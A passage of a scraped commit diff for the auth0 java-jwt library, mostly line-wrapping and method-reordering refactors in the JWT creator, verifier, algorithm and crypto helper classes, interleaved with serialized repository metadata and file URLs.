         }
 
-        /**
-         * Add a custom Array Claim with the given items.
-         *
-         * @param name  the Claim's name.
-         * @param items the Claim's value.
-         * @return this same Builder instance.
-         * @throws IllegalArgumentException if the name is null.
-         */
-        public Builder withArrayClaim(String name, String[] items) throws IllegalArgumentException {
-            assertNonNull(name);
-            addClaim(name, items);
-            return this;
-        }
-
-        /**
-         * Add a custom Array Claim with the given items.
-         *
-         * @param name  the Claim's name.
-         * @param items the Claim's value.
-         * @return this same Builder instance.
-         * @throws IllegalArgumentException if the name is null.
-         */
-        public Builder withArrayClaim(String name, Integer[] items) throws IllegalArgumentException {
-            assertNonNull(name);
-            addClaim(name, items);
-            return this;
-        }
-
-        /**
-         * Add a custom Array Claim with the given items.
-         *
-         * @param name  the Claim's name.
-         * @param items the Claim's value.
-         * @return this same Builder instance.
-         * @throws IllegalArgumentException if the name is null
-         */
-        public Builder withArrayClaim(String name, Long[] items) throws IllegalArgumentException {
-            assertNonNull(name);
-            addClaim(name, items);
-            return this;
-        }
-
         /**
          * Add a custom Map Claim with the given items.
          * <p>
@@ -381,7 +342,8 @@ public Builder withClaim(String name, Map<String, ?> map) throws IllegalArgument
             assertNonNull(name);
             // validate map contents
             if (map != null && !validateClaim(map)) {
-                throw new IllegalArgumentException("Expected map containing Map, List, Boolean, Integer, Long, Double, String and Date");
+                throw new IllegalArgumentException("Expected map containing Map, List, Boolean, Integer, "
+                        + "Long, Double, String and Date");
             }
             addClaim(name, map);
             return this;
@@ -405,12 +367,55 @@ public Builder withClaim(String name, List<?> list) throws IllegalArgumentExcept
             assertNonNull(name);
             // validate list contents
             if (list != null && !validateClaim(list)) {
-                throw new IllegalArgumentException("Expected list containing Map, List, Boolean, Integer, Long, Double, String and Date");
+                throw new IllegalArgumentException("Expected list containing Map, List, Boolean, Integer, "
+                        + "Long, Double, String and Date");
             }
             addClaim(name, list);
             return this;
         }
 
+        /**
+         * Add a custom Array Claim with the given items.
+         *
+         * @param name  the Claim's name.
+         * @param items the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withArrayClaim(String name, String[] items) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, items);
+            return this;
+        }
+
+        /**
+         * Add a custom Array Claim with the given items.
+         *
+         * @param name  the Claim's name.
+         * @param items the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withArrayClaim(String name, Integer[] items) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, items);
+            return this;
+        }
+
+        /**
+         * Add a custom Array Claim with the given items.
+         *
+         * @param name  the Claim's name.
+         * @param items the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null
+         */
+        public Builder withArrayClaim(String name, Long[] items) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, items);
+            return this;
+        }
+
         /**
          * Add specific Claims to set as the Payload. If the provided map is null then
          * nothing is changed.
@@ -426,16 +431,18 @@ public Builder withClaim(String name, List<?> list) throws IllegalArgumentExcept
          * </p>
          *
          * @param payloadClaims the values to use as Claims in the token's payload.
-         * @throws IllegalArgumentException if any of the claim keys or null, or if the values are not of a supported type.
          * @return this same Builder instance.
+         * @throws IllegalArgumentException if any of the claim keys or null,
+         *                                  or if the values are not of a supported type.
          */
         public Builder withPayload(Map<String, ?> payloadClaims) throws IllegalArgumentException {
             if (payloadClaims == null) {
                 return this;
             }
 
             if (!validatePayload(payloadClaims)) {
-                throw new IllegalArgumentException("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String and Date");
+                throw new IllegalArgumentException("Claim values must only be of types Map, List, Boolean, Integer, "
+                        + "Long, Double, String and Date");
             }
 
             // add claims only after validating all claims so as not to corrupt the claims map of this builder
@@ -504,16 +511,18 @@ private static boolean isBasicType(Object value) {
             if (c.isArray()) {
                 return c == Integer[].class || c == Long[].class || c == String[].class;
             }
-            return c == String.class || c == Integer.class || c == Long.class || c == Double.class || c == Date.class || c == Instant.class || c == Boolean.class;
+            return c == String.class || c == Integer.class || c == Long.class || c == Double.class
+                    || c == Date.class || c == Instant.class || c == Boolean.class;
         }
 
         /**
-         * Creates a new JWT and signs is with the given algorithm
+         * Creates a new JWT and signs is with the given algorithm.
          *
          * @param algorithm used to sign the JWT
          * @return a new JWT token
          * @throws IllegalArgumentException if the provided algorithm is null.
-         * @throws JWTCreationException     if the claims could not be converted to a valid JSON or there was a problem with the signing key.
+         * @throws JWTCreationException     if the claims could not be converted to a valid JSON
+         *                                  or there was a problem with the signing key.
          */
         public String sign(Algorithm algorithm) throws IllegalArgumentException, JWTCreationException {
             if (algorithm == null) {
@@ -546,10 +555,13 @@ private void addClaim(String name, Object value) {
     }
 
     private String sign() throws SignatureGenerationException {
-        String header = Base64.getUrlEncoder().withoutPadding().encodeToString(headerJson.getBytes(StandardCharsets.UTF_8));
-        String payload = Base64.getUrlEncoder().withoutPadding().encodeToString(payloadJson.getBytes(StandardCharsets.UTF_8));
+        String header = Base64.getUrlEncoder().withoutPadding()
+                .encodeToString(headerJson.getBytes(StandardCharsets.UTF_8));
+        String payload = Base64.getUrlEncoder().withoutPadding()
+                .encodeToString(payloadJson.getBytes(StandardCharsets.UTF_8));
 
-        byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8));
+        byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8),
+                payload.getBytes(StandardCharsets.UTF_8));
         String signature = Base64.getUrlEncoder().withoutPadding().encodeToString((signatureBytes));
 
         return String.format("%s.%s.%s", header, payload, signature);u}(j  (cc283095f25e9231c857ca94330a5ef73c1a8a05j  /lib/src/main/java/com/auth0/jwt/JWTDecoder.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X9  @@ -42,7 +42,7 @@ final class JWTDecoder implements DecodedJWT, Serializable {
             payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
         } catch (NullPointerException e) {
             throw new JWTDecodeException("The UTF-8 Charset isn't initialized.", e);
-        } catch (IllegalArgumentException e){
+        } catch (IllegalArgumentException e) {
             throw new JWTDecodeException("The input is not a valid base 64 encoded string.", e);
         }
         header = converter.parseHeader(headerJson);u}(j  (77dfef4e4aa83bafd8ca7002d30754327ae77b43j  0lib/src/main/java/com/auth0/jwt/JWTVerifier.javaj  modifiedj  Kj  Kj  K-j  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  Xk  @@ -16,11 +16,13 @@
 import java.util.*;
 
 /**
- * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format, but also its signature matches.
+ * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format,
+ * but also its signature matches.
  * <p>
  * This class is thread-safe.
+ *
+ * @see com.auth0.jwt.interfaces.JWTVerifier
  */
-@SuppressWarnings("WeakerAccess")
 public final class JWTVerifier implements com.auth0.jwt.interfaces.JWTVerifier {
     private final Algorithm algorithm;
     final Map<String, Object> claims;
@@ -48,6 +50,9 @@ static Verification init(Algorithm algorithm) throws IllegalArgumentException {
         return new BaseVerification(algorithm);
     }
 
+    /**
+     * {@link Verification} implementation that accepts all the expected Claim values for verification.
+     */
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;
         private final Map<String, Object> claims;
@@ -180,7 +185,8 @@ public Verification withClaim(String name, Date value) throws IllegalArgumentExc
         @Override
         public Verification withClaim(String name, Instant value) throws IllegalArgumentException {
             assertNonNull(name);
-            // Since date-time claims are serialized as epoch seconds, we need to compare them with only seconds-granularity
+            // Since date-time claims are serialized as epoch seconds,
+            // we need to compare them with only seconds-granularity
             requireClaim(name, value != null ? value.truncatedTo(ChronoUnit.SECONDS) : null);
             return this;
         }
@@ -280,7 +286,8 @@ private static boolean isNullOrEmpty(String[] args) {
      *
      * @param token to verify.
      * @return a verified and decoded JWT.
-     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to the one defined in the {@link JWTVerifier}.
+     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to
+     *                                        the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
      * @throws InvalidClaimException          if a claim contained a different value than the expected one.
@@ -296,7 +303,8 @@ public DecodedJWT verify(String token) throws JWTVerificationException {
      *
      * @param jwt to verify.
      * @return a verified and decoded JWT.
-     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to the one defined in the {@link JWTVerifier}.
+     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to
+     *                                        the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
      * @throws InvalidClaimException          if a claim contained a different value than the expected one.
@@ -311,11 +319,13 @@ public DecodedJWT verify(DecodedJWT jwt) throws JWTVerificationException {
 
     private void verifyAlgorithm(DecodedJWT jwt, Algorithm expectedAlgorithm) throws AlgorithmMismatchException {
         if (!expectedAlgorithm.getName().equals(jwt.getAlgorithm())) {
-            throw new AlgorithmMismatchException("The provided Algorithm doesn't match the one defined in the JWT's Header.");
+            throw new AlgorithmMismatchException(
+                    "The provided Algorithm doesn't match the one defined in the JWT's Header.");
         }
     }
 
-    private void verifyClaims(DecodedJWT jwt, Map<String, Object> claims) throws TokenExpiredException, InvalidClaimException {
+    private void verifyClaims(DecodedJWT jwt, Map<String, Object> claims)
+            throws TokenExpiredException, InvalidClaimException {
         for (Map.Entry<String, Object> entry : claims.entrySet()) {
             if (entry.getValue() instanceof NonEmptyClaim) {
                 assertClaimPresent(jwt.getClaim(entry.getKey()), entry.getKey());
@@ -327,8 +337,9 @@ private void verifyClaims(DecodedJWT jwt, Map<String, Object> claims) throws Tok
 
     private void verifyClaimValues(DecodedJWT jwt, Map.Entry<String, Object> expectedClaim) {
         switch (expectedClaim.getKey()) {
-            // We use custom keys for audience in the expected claims to differentiate between validating that the audience
-            // contains all expected values, or validating that the audience contains at least one of the expected values.
+            // We use custom keys for audience in the expected claims to differentiate between
+            // validating that the audience contains all expected values, or validating that the audience contains
+            // at least one of the expected values.
             case AUDIENCE_EXACT:
                 assertValidAudienceClaim(jwt.getAudience(), (List<String>) expectedClaim.getValue(), true);
                 break;
@@ -354,7 +365,8 @@ private void verifyClaimValues(DecodedJWT jwt, Map.Entry<String, Object> expecte
                 assertValidStringClaim(expectedClaim.getKey(), jwt.getSubject(), (String) expectedClaim.getValue());
                 break;
             default:
-                assertValidClaim(jwt.getClaim(expectedClaim.getKey()), expectedClaim.getKey(), expectedClaim.getValue());
+                assertValidClaim(jwt.getClaim(expectedClaim.getKey()), expectedClaim.getKey(),
+                        expectedClaim.getValue());
                 break;
         }
     }
@@ -402,13 +414,15 @@ private void assertValidClaim(Claim claim, String claimName, Object value) {
         }
 
         if (!isValid) {
-            throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
+            throw new InvalidClaimException(
+                    String.format("The Claim '%s' value doesn't match the required one.", claimName));
         }
     }
 
     private void assertValidStringClaim(String claimName, String value, String expectedValue) {
         if (!expectedValue.equals(value)) {
-            throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
+            throw new InvalidClaimException(
+                    String.format("The Claim '%s' value doesn't match the required one.", claimName));
         }
     }
 
@@ -434,8 +448,8 @@ private void assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
     }
 
     private void assertValidAudienceClaim(List<String> audience, List<String> values, boolean shouldContainAll) {
-        if (audience == null || (shouldContainAll && !audience.containsAll(values)) ||
-                (!shouldContainAll && Collections.disjoint(audience, values))) {
+        if (audience == null || (shouldContainAll && !audience.containsAll(values))
+                || (!shouldContainAll && Collections.disjoint(audience, values))) {
             throw new InvalidClaimException("The Claim 'aud' value doesn't contain the required audience.");
         }
     }
@@ -452,7 +466,8 @@ private void assertValidIssuerClaim(String issuer, List<String> value) {
     private static class NonEmptyClaim {
         private static NonEmptyClaim nonEmptyClaim;
 
-        private NonEmptyClaim() {}
+        private NonEmptyClaim() {
+        }
 
         public static NonEmptyClaim getInstance() {
             if (nonEmptyClaim == null) {u}(j  (0a76028b12002eccfc34165e5c7b3e33dbfaa01cj  /lib/src/main/java/com/auth0/jwt/TokenUtils.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X  @@ -18,7 +18,8 @@ static String[] splitToken(String token) throws JWTDecodeException {
             parts = new String[]{parts[0], parts[1], ""};
         }
         if (parts.length != 3) {
-            throw new JWTDecodeException(String.format("The token was expected to have 3 parts, but got %s.", parts.length));
+            throw new JWTDecodeException(
+                    String.format("The token was expected to have 3 parts, but got %s.", parts.length));
         }
         return parts;
     }u}(j  (a52470055ec0f1430a30c29295d72158a56a3e15j  9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javaj  modifiedj  K j  Kj  K:j  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  XS  @@ -139,47 +139,47 @@ public static Algorithm HMAC256(String secret) throws IllegalArgumentException {
     }
 
     /**
-     * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
+     * Creates a new Algorithm instance using HmacSHA256. Tokens specify this as "HS256".
      *
-     * @param secret the secret to use in the verify or signing instance.
-     * @return a valid HMAC384 Algorithm.
+     * @param secret the secret bytes to use in the verify or signing instance.
+     * @return a valid HMAC256 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
-    public static Algorithm HMAC384(String secret) throws IllegalArgumentException {
-        return new HMACAlgorithm("HS384", "HmacSHA384", secret);
+    public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
+        return new HMACAlgorithm("HS256", "HmacSHA256", secret);
     }
 
     /**
-     * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
+     * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
      *
      * @param secret the secret to use in the verify or signing instance.
-     * @return a valid HMAC512 Algorithm.
+     * @return a valid HMAC384 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
-    public static Algorithm HMAC512(String secret) throws IllegalArgumentException {
-        return new HMACAlgorithm("HS512", "HmacSHA512", secret);
+    public static Algorithm HMAC384(String secret) throws IllegalArgumentException {
+        return new HMACAlgorithm("HS384", "HmacSHA384", secret);
     }
 
     /**
-     * Creates a new Algorithm instance using HmacSHA256. Tokens specify this as "HS256".
+     * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
      *
      * @param secret the secret bytes to use in the verify or signing instance.
-     * @return a valid HMAC256 Algorithm.
+     * @return a valid HMAC384 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
-    public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
-        return new HMACAlgorithm("HS256", "HmacSHA256", secret);
+    public static Algorithm HMAC384(byte[] secret) throws IllegalArgumentException {
+        return new HMACAlgorithm("HS384", "HmacSHA384", secret);
     }
 
     /**
-     * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
+     * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
      *
-     * @param secret the secret bytes to use in the verify or signing instance.
-     * @return a valid HMAC384 Algorithm.
+     * @param secret the secret to use in the verify or signing instance.
+     * @return a valid HMAC512 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
-    public static Algorithm HMAC384(byte[] secret) throws IllegalArgumentException {
-        return new HMACAlgorithm("HS384", "HmacSHA384", secret);
+    public static Algorithm HMAC512(String secret) throws IllegalArgumentException {
+        return new HMACAlgorithm("HS512", "HmacSHA512", secret);
     }
 
     /**
@@ -192,8 +192,7 @@ public static Algorithm HMAC384(byte[] secret) throws IllegalArgumentException {
     public static Algorithm HMAC512(byte[] secret) throws IllegalArgumentException {
         return new HMACAlgorithm("HS512", "HmacSHA512", secret);
     }
-    
-    
+
 
     /**
      * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256".
@@ -314,7 +313,8 @@ protected Algorithm(String name, String description) {
     }
 
     /**
-     * Getter for the Id of the Private Key used to sign the tokens. This is usually specified as the `kid` claim in the Header.
+     * Getter for the Id of the Private Key used to sign the tokens.
+     * This is usually specified as the `kid` claim in the Header.
      *
      * @return the Key Id that identifies the Signing Key or null if it's not specified.
      */
@@ -332,7 +332,8 @@ public String getName() {
     }
 
     /**
-     * Getter for the description of this Algorithm, required when instantiating a Mac or Signature object. i.e. "HmacSHA256"
+     * Getter for the description of this Algorithm,
+     * required when instantiating a Mac or Signature object. i.e. "HmacSHA256"
      *
      * @return the algorithm description.
      */
@@ -349,15 +350,19 @@ public String toString() {
      * Verify the given token using this Algorithm instance.
      *
      * @param jwt the already decoded JWT that it's going to be verified.
-     * @throws SignatureVerificationException if the Token's Signature is invalid, meaning that it doesn't match the signatureBytes, or if the Key is invalid.
+     * @throws SignatureVerificationException if the Token's Signature is invalid,
+     *                                        meaning that it doesn't match the signatureBytes,
+     *                                        or if the Key is invalid.
      */
     public abstract void verify(DecodedJWT jwt) throws SignatureVerificationException;
 
     /**
      * Sign the given content using this Algorithm instance.
      *
-     * @param headerBytes  an array of bytes representing the base64 encoded header content to be verified against the signature.
-     * @param payloadBytes an array of bytes representing the base64 encoded payload content to be verified against the signature.
+     * @param headerBytes  an array of bytes representing the base64 encoded header content
+     *                     to be verified against the signature.
+     * @param payloadBytes an array of bytes representing the base64 encoded payload content
+     *                     to be verified against the signature.
      * @return the signature in a base64 encoded array of bytes
      * @throws SignatureGenerationException if the Key is invalid.
      */
@@ -376,7 +381,8 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
      * Sign the given content using this Algorithm instance.
      * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
-     * @param contentBytes an array of bytes representing the base64 encoded content to be verified against the signature.
+     * @param contentBytes an array of bytes representing the base64 encoded content
+     *                     to be verified against the signature.
      * @return the signature in a base64 encoded array of bytes
      * @throws SignatureGenerationException if the Key is invalid.
      */u}(j  (7b8c5c2ac5761bbf25b86fa55870a38d67cc0a03j  <lib/src/main/java/com/auth0/jwt/algorithms/CryptoHelper.javaj  modifiedj  Kdj  Kcj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  XU:  @@ -12,93 +12,98 @@
  */
 class CryptoHelper {
 
-    private static final byte JWT_PART_SEPARATOR = (byte)46;
+    private static final byte JWT_PART_SEPARATOR = (byte) 46;
 
     /**
      * Verify signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param header JWT header.
-     * @param payload JWT payload.
+     * @param algorithm      algorithm name.
+     * @param secretBytes    algorithm secret.
+     * @param header         JWT header.
+     * @param payload        JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
 
-    boolean verifySignatureFor(String algorithm, byte[] secretBytes, String header, String payload, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        return verifySignatureFor(algorithm, secretBytes, header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
+    boolean verifySignatureFor(
+            String algorithm,
+            byte[] secretBytes,
+            String header,
+            String payload,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException {
+        return verifySignatureFor(algorithm, secretBytes,
+                header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
     }
 
     /**
      * Verify signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param headerBytes JWT header.
-     * @param payloadBytes JWT payload.
+     * @param algorithm      algorithm name.
+     * @param secretBytes    algorithm secret.
+     * @param headerBytes    JWT header.
+     * @param payloadBytes   JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
 
-    boolean verifySignatureFor(String algorithm, byte[] secretBytes, byte[] headerBytes, byte[] payloadBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, headerBytes, payloadBytes), signatureBytes);
-    }
-
-    /**
-     * Create signature for JWT header and payload.
-     *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param headerBytes JWT header.
-     * @param payloadBytes JWT payload.
-     * @return the signature bytes.
-     * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     */
-
-    byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] headerBytes, byte[] payloadBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        final Mac mac = Mac.getInstance(algorithm);
-        mac.init(new SecretKeySpec(secretBytes, algorithm));
-        mac.update(headerBytes);
-        mac.update(JWT_PART_SEPARATOR);
-        return mac.doFinal(payloadBytes);
+    boolean verifySignatureFor(
+            String algorithm,
+            byte[] secretBytes,
+            byte[] headerBytes,
+            byte[] payloadBytes,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException {
+        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, headerBytes, payloadBytes),
+                signatureBytes);
     }
 
     /**
      * Verify signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param publicKey algorithm public key.
-     * @param header JWT header.
-     * @param payload JWT payload.
+     * @param algorithm      algorithm name.
+     * @param publicKey      algorithm public key.
+     * @param header         JWT header.
+     * @param payload        JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    boolean verifySignatureFor(String algorithm, PublicKey publicKey, String header, String payload, byte[] signatureBytes)  throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
-        return verifySignatureFor(algorithm, publicKey, header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
+    boolean verifySignatureFor(
+            String algorithm,
+            PublicKey publicKey,
+            String header,
+            String payload,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+        return verifySignatureFor(algorithm, publicKey, header.getBytes(StandardCharsets.UTF_8),
+                payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
     }
 
     /**
      * Verify signature for JWT header and payload using a public key.
      *
-     * @param algorithm algorithm name.
-     * @param publicKey the public key to use for verification.
-     * @param headerBytes JWT header.
-     * @param payloadBytes JWT payload.
+     * @param algorithm      algorithm name.
+     * @param publicKey      the public key to use for verification.
+     * @param headerBytes    JWT header.
+     * @param payloadBytes   JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] headerBytes, byte[] payloadBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+    boolean verifySignatureFor(
+            String algorithm,
+            PublicKey publicKey,
+            byte[] headerBytes,
+            byte[] payloadBytes,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initVerify(publicKey);
         s.update(headerBytes);
@@ -110,17 +115,22 @@ boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] headerB
     /**
      * Create signature for JWT header and payload using a private key.
      *
-     * @param algorithm algorithm name.
-     * @param privateKey the private key to use for signing.
-     * @param headerBytes JWT header.
+     * @param algorithm    algorithm name.
+     * @param privateKey   the private key to use for signing.
+     * @param headerBytes  JWT header.
      * @param payloadBytes JWT payload.
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
+     * @throws SignatureException       if this signature object is not initialized properly
+     *                                  or if this signature algorithm is unable to process the input data provided.
      */
-
-    byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] headerBytes, byte[] payloadBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+    byte[] createSignatureFor(
+            String algorithm,
+            PrivateKey privateKey,
+            byte[] headerBytes,
+            byte[] payloadBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initSign(privateKey);
         s.update(headerBytes);
@@ -130,75 +140,66 @@ byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] header
     }
 
     /**
-     * Verify signature.
-     * For valid verification, ensure the content is in the format {HEADER}.{PAYLOAD}
+     * Create signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param contentBytes the content to which the signature applies.
-     * @param signatureBytes JWT signature.
-     * @return true if signature is valid.
+     * @param algorithm    algorithm name.
+     * @param secretBytes  algorithm secret.
+     * @param headerBytes  JWT header.
+     * @param payloadBytes JWT payload.
+     * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    boolean verifySignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, contentBytes), signatureBytes);
+    byte[] createSignatureFor(
+            String algorithm,
+            byte[] secretBytes,
+            byte[] headerBytes,
+            byte[] payloadBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException {
+        final Mac mac = Mac.getInstance(algorithm);
+        mac.init(new SecretKeySpec(secretBytes, algorithm));
+        mac.update(headerBytes);
+        mac.update(JWT_PART_SEPARATOR);
+        return mac.doFinal(payloadBytes);
     }
 
     /**
      * Create signature.
